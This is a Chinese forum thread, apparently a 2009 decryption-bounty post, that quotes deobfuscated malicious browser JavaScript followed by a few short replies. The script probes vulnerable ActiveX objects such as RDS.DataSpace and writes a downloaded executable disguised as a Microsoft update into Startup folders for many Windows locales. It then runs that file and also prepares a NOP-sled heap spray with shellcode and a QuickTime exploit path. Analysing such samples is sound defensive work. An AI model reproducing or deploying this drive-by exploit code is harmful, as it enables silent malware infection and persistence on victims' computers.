  obj_strm.Type=1; obj_strm.Mode=3; obj_strm.Open(); obj_strm.Write(ldBody);
  var hdrv=""; var dtemp=""; var dstart=""; var daustart="";
  try {var obj_WScript=objmker(pt31, "WScript.Shell");
try{var wshProcEnv=obj_WScript.Environment("PROCESS"); hdrv=wshProcEnv("HOMEDRIVE"); dtemp=wshProcEnv("TEMP");}catch(e){};
try{dstart=obj_WScript.SpecialFolders("Startup"); daustart=obj_WScript.SpecialFolders("AllUsersStartup");}catch(e){};
  }catch(e){};
  if (hdrv=="") { hdrv="C:"; };
  if (dtemp=="") { try { var obj_fso=objmker(pt31, "Scripting.FileSystemObject"); dtemp=obj_fso.GetSpecialFolder(2);}catch(e){};};
  var fn2=""; var fn=""; var stds="\\Documents and Settings\\"; var stau="All Users\\"; var stfln="\\MS-0902-upd101409.exe";
  var strnd=Math.round(Math.random()*(100000-1)+10000); var ev2="obj_strm."+stsv+"ToFile(fn,"+st2+");fn2=fn;";
  if(fn2==""){if(daustart!=""){try{Tv=daustart;fn=Tv+stfln;eval(ev2);}catch(e){};};};
  if(fn2==""){if(dstart!=""){try{Tv=dstart;fn=Tv+stfln;eval(ev2);}catch(e){};};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Menu Inicio\\Programas\\Inicio"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Menuen Start\\Programmer\\Start"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Menu Start\\Programma\\'s\\Opstarten"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Menu Start\\Programy\\Autostart"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Menu Avvio\\Programmi\\Esecuzione automatica"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Kaynnista-valikko\\Ohjelmat\\Kaynnistys"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Start Menu\\Programlar\\BASLANGIC"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Start-meny\\Programmer\\Oppstart"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Start-menyn\\Program\\Autostart"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Menu Iniciar\\Programas\\Iniciar"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+"\\Dokumente und Einstellungen\\"+stau+"Startmenu\\Programme\\Autostart"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+stds+stau+"Start Menu\\Programs\\Startup"+stfln;eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=dtemp;fn=Tv+"\\tmp"+strnd+".exe";eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+"\\sys"+strnd+".exe";eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+"\\RECYCLER\\"+strnd+".exe";eval(ev2);}catch(e){};};
  if(fn2==""){try{Tv=hdrv;fn=Tv+"\\RECYCLED\\"+strnd+".exe";eval(ev2);}catch(e){};};
  if (fn2!=""){try{var obj_shl=objmker(pt31,"Shell.Application");var zpa="obj_shl.ShellExecute(fn2);";eval(zpa);}catch(e){try{zpa="obj_WScript.Exec(fn2);";eval(zpa);}catch(e){try{var tobjst=space; var obj2mk="demoobj"+tobjst+".innerHTML"+tobjst+"=demoobj"+tobjst+".innerHTML"+tobjst+"+\"<object"+tobjst+" classid"+tobjst+"='clsid:"+tobjst+"527196a4-b1a3-4647-931d-37ba5af23037"+tobjst+"' codebase="+tobjst+"'\"+fn2+\"'></"+tobjst+"object>\";";eval(obj2mk);}catch(e){return 0;};};};return 1;}else{return 0;};
}else{return 0;};
};

function objmker(pt21,pt22) {
var tds=27; var nobj=null; var stno="nobj=pt21.";
try{eval(stno+'CreateObject(pt22)');}catch(e){}
if(!nobj){try{eval(stno+'CreateObject(pt22,"")');}catch(e){}}
if(!nobj){try{eval(stno+'CreateObject(pt22,"","")');}catch(e){}}
if(!nobj){try{eval(stno+'GetObject("",pt22)');}catch(e){}}
if(!nobj){try{eval(stno+'GetObject(pt22,"")');}catch(e){}}
if(!nobj){try{eval(stno+'GetObject(pt22)');}catch(e){}}
return(nobj);
}

var tds=17; var i=0; var stcb1="-0000-0000-C000-000000000046"; var st1m="1-"; var stm1="-1";
var hncx=new Array("BD96C556-65A3"+stm1+"1D0-983A-00C04FC29E36","AB9BCEDD-EC7E-47E"+st1m+"9322-D4A210617116","0006F033"+stcb1,"0006F03A"+stcb1,"6E32070A-766D-4EE6-879C-DC1FA91D2FC3","6414512B-B978-451D-A0D8-FCFDF33E833C","7F5B7F63-F06F-433"+st1m+"8A26-339E03C0AE3D","06723E09-F4C2-43c8-8358-09FCD1DB0766","639F725F"+stm1+"B2D-483"+st1m+"A9FD-874847682010","BA018599"+stm1+"DB3-44f9-83B4-461454C84BF8","D0C07D56-7C69-43F"+st1m+"B4A0-25F5A11FAB19","E8CCCDDF-CA28-496b-B050-6C07C962476B",null);
var stob="object"; var stid="id"; var strd="obj_RDS"; var iuump=null;
while (hncx) {
iuump=null;iuump=document.createElement(stob);iuump.setAttribute(stid,strd+i);iuump.setAttribute("class"+stid,"cls"+stid+":"+hncx);
if(iuump){try{if(lsrn(iuump)){break;};}catch(e){};};
i++;
}

var shs1=unescape(shsb1);
var noplen = 0x400000-(shs1.length*2+0x38);
var nops4m=unescape("%u9090"); while (nops4m.length*2<noplen) nops4m+=nops4m; nops4m=nops4m.substring(0,noplen/2);
arr188m=new Array(); for(i=0;i<47;i++){arr188m=nops4m+shs1;};

var tobjst2=space;var haveqt=false;var chkqt=' <sc'+'ript language="VB'+'script"> \n On Error Resume Next \n Set theObject=CreateObject("QuickTimeCheckObject.QuickTimeCheck.1") \n On Error goto 0 \n If IsObject(theObject) Then \n If theObject.IsQuickTimeAvailable(0) Then \'Just check for file\' \n haveqt=1 \n End If \n End If \n </scr' + 'ipt> \n';
var obj1mk="document."+tobjst2+"writeln"+tobjst2+"(chkqt);";eval(obj1mk);
if (haveqt) { var obj2mk="document."+tobjst2+"write"+tobjst2+"('<"+tobjst2+"object"+tobjst2+" CLASSID"+tobjst2+"=\"clsid:"+tobjst2+"02BF25D5-8C17"+tobjst2+"-4B23-BC80-"+tobjst2+"D3488ABDDC6B\" width=\"100\" height=\"30\" style=\"border:0px\"><param name=\"src\" value=\"/q"+tobjst2+"t.mov\"><param name=\"auto"+tobjst2+"play\" value=\"true\"><param name=\"loop\" value=\"false\"><param name=\"controller\" value=\"true\"></"+tobjst2+"objec
t>');"; eval(obj2mk);};

</SCRIPT>

显示全部楼层 · 发表于 2009-2-11 18:39:28

不知道没仔细看 4GB？什么东西

显示全部楼层 · 发表于 2009-2-11 19:52:43

看我贴图呗，话说难道是个游戏

[其它] [解密悬赏][第22期][完成]

评分

回复 3楼 wsboy 的帖子

评分

回复 5楼 zzh161 的帖子

回复 7楼 qianwenxiang 的帖子